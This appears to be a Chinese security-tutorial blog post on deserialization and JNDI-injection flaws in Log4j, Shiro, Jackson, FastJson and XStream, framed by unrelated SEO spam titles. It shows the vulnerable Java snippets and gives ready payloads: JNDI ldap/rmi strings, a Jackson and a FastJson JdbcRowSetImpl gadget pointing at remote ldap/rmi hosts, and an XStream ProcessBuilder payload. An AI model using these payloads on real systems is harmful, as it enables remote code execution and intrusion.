当前位置: 首页 > news >正文

网站管理建设总结周村区建设网站

网站管理建设总结,周村区建设网站,互联网公司运营是做什么的,上海百度提升优化文章目录 不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4jLog4jShiroJacksonFastJsonXStream 不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j Log4j Apache的一个开源项目,是一个基于Java的日志记录框架。 历史…

文章目录

    • 不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
      • Log4j
      • Shiro
      • Jackson
      • FastJson
      • XStream

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j

image-20240303161923261

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public String log4j(String content) {logger.error(content);return "Log4j2 JNDI Injection";}

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

payloadxxxx

${jndi:rmi://xxxx:1099/xy9t54}
${jndi:ldap://xxxxx:1389/qerodw}

image-20240303173759960

弹计算器本地才能发现,所以我们检测是否为注入可以 yakit dns 外带。

image-20240303201058701

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro

image-20240303180438906

登录抓包复制地址

image-20240303180411303

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,

攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

image-20240303180711693

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(content, Object.class);

payload

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]

把 jndi 部分替换成公网

FastJson

历史漏洞:https://avd.aliyun.com/search?q=fastjson

Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

JSONObject jsonToObject = JSON.parseObject(content);
return jsonToObject.get("name").toString();

版本可以从外部导入库查看也可查看 pom.xml 配置文件

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

XStream

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

历史漏洞:https://avd.aliyun.com/search?q=XStream

 XStream xs = new XStream();
xs.fromXML(content);

payload

这个倒是没用到 jndi,

<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
http://www.yayakq.cn/news/623147/

相关文章:

  • 江宁网站建设要多少钱阿里巴巴国际站外贸流程
  • 网站三要西安公司官网制作
  • app网站建设 - 百度wordpress免费的吗
  • 网页制作工具的选择与网站整体风格没有关系做图文链接网站
  • 简述电子商务网站开发的研究意义网站建设个人总结
  • dede模板网站教程网站开发进阶实训报告
  • php做网站怎么布局满洲里建设局网站
  • 织梦园模板网站什么是优化问题
  • 我想建网站找谁wordpress数据库的设置
  • 做餐饮店铺哪个网站北京城乡建设官方网站
  • 怎样在织梦网站建设目录域名ip
  • 企业网站建设公司怎么收费织梦网站最下面的网站建设去除
  • 郑州校园兼职网站建设网站空间租
  • 中国建设企业银行网站首页建网站基础知识
  • 国内建站平台排名网站建设与网页的区别
  • 网站建设销售话术文本格式秦皇岛百度推广
  • 邢台做网站icp对网站内容
  • 威海百度网站建设定制类做网站多少钱
  • 做网站需要画原型图么wordpress2016免费主题
  • 厦门网站设计公司哪家好福建电商小程序厦门开发公司全国知名网站建设公司
  • 创业 建网站旅游网站制作文献
  • 做网站的电脑网站整体规划
  • 绍兴cms建站模板如何写wordpress插件
  • 河南建设监理协会网站电话权威发布意思
  • 商城网站如何设计做北美市场的外贸网站
  • 如何设置的iis后台服务网站地址推广手机卡返佣平台
  • 网站群 意义上海网站建设目的
  • 游戏软件开发需要学什么专业优化大师app下载
  • 自己可以做类似淘宝客网站吗建立网站的意义
  • 有名的网站开发工具杭州网站制作多少钱